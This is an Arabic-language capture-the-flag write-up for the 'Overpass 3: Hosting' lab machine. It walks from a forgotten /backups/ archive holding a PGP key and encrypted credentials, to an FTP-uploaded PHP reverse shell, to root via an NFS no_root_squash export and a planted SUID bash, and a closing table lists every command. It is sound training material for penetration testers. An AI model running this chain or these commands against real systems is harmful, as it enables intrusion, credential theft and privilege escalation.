Overpass 3: Hosting سلسلة اختراق كاملة تبدأ من نسخة احتياطية منسية جوه /backups/ فيها مفتاح PGP خاص وملف Excel مشفّر. بعد فك التشفير، كلمة سر واحدة بس شغالة — على FTP مش SSH — وFTP root بيطابق الـ web root، يعني رفع شل PHP بسيط بيديك تنفيذ كود مباشر.
من نسخة احتياطية منسية لحد Root عبر استغلال NFS no_root_squash
Nmap يكشف FTP (vsftpd 3.0.3)، SSH (OpenSSH 8.0)، وApache. Gobuster بـ dirb/common.txt يكتشف مجلد /backups/ فيه ملف backup.zip.
nmap -sC -sV -p-gobuster dir → /backups/الملف المضغوط فيه priv.key (مفتاح PGP خاص لحساب paradox) وCustomerDetails.xlsx.gpg. استيراد المفتاح وفك تشفير الملف يكشف جدول كلمات سر.
gpg –import priv.keygpg -d CustomerDetails.xlsx.gpgكلمة سر paradox مش شغالة على SSH — بس شغالة على FTP. الـ FTP root بيطابق الـ web root تماماً، وبما إن backups/ قابل للكتابة، رفع PHP reverse shell مباشرة.
ftp paradox@targetput reverse-shell.phpطلب الصفحة المرفوعة من المتصفح يعطي شل بصلاحيات apache. ترقية الـ TTY، وبما إن كلمة سر paradox معروفة من الإكسل، su paradox بينجح مباشرة.
nc -lvnp 1234su paradoxLinPEAS بيكشف /home/james مُصدّر عبر NFS بإعداد no_root_squash — خطر أمني كلاسيكي. بورت 2049 مش وصول مباشر، فلازم Tunneling.
linpeas.shno_root_squash export foundإضافة مفتاح SSH عام لحساب paradox، فتح نفق محلي لبورت 2049، ثم mount للشير — يكشف user.flag ومفتاح SSH خاص لجيمس.
ssh -L 2049:localhost:2049mount -t nfs localhost:/ /mnt/jamesNFSبما إن root على جهازك بيتعامل كـ root على الشير، تنسخ /bin/bash للشير وتعمله SUID وإنت root محلياً. دخول SSH بحساب جيمس وتشغيل bash -p يديك شل root فوري.
chmod +s bash (as local root)./bash -pRoot Flag 🏆| الأمر | الوصف | المرحلة |
|---|---|---|
| gobuster dir -u http://target -w dirb/common.txt -x php,txt,js,css,html | اكتشاف مجلد /backups/ | Enum |
| gpg –import priv.key | استيراد مفتاح PGP الخاص بـ paradox | GPG |
| gpg -d CustomerDetails.xlsx.gpg > creds.xlsx | فك تشفير جدول الاعتماديات | GPG |
| ftp paradox@target + put reverse-shell.php | رفع شل PHP عبر FTP لنفس الـ web root | Upload |
| su paradox | الانتقال لحساب paradox بنفس كلمة سر FTP | Pivot |
| ssh -i ~/.ssh/id_rsa paradox@target -L 2049:localhost:2049 | فتح نفق للوصول لـ NFS المعزول | Tunnel |
| mount -t nfs localhost:/ /mnt/jamesNFS/ | تحميل شير NFS اللي فيه مفتاح جيمس | Mount |
| cp /bin/bash /mnt/jamesNFS/ && chmod +s /mnt/jamesNFS/bash | استغلال no_root_squash لزرع SUID bash | PrivEsc |
اكتشاف /backups/backup.zip عبر Gobuster
GPG decrypt + Web Flag
رفع PHP reverse shell وتنفيذه
إيجاد إعداد no_root_squash الخطير
الوصول للشير وسرقة مفتاح جيمس + User Flag
زرع SUID bash عبر الشير وتشغيله بصلاحيات root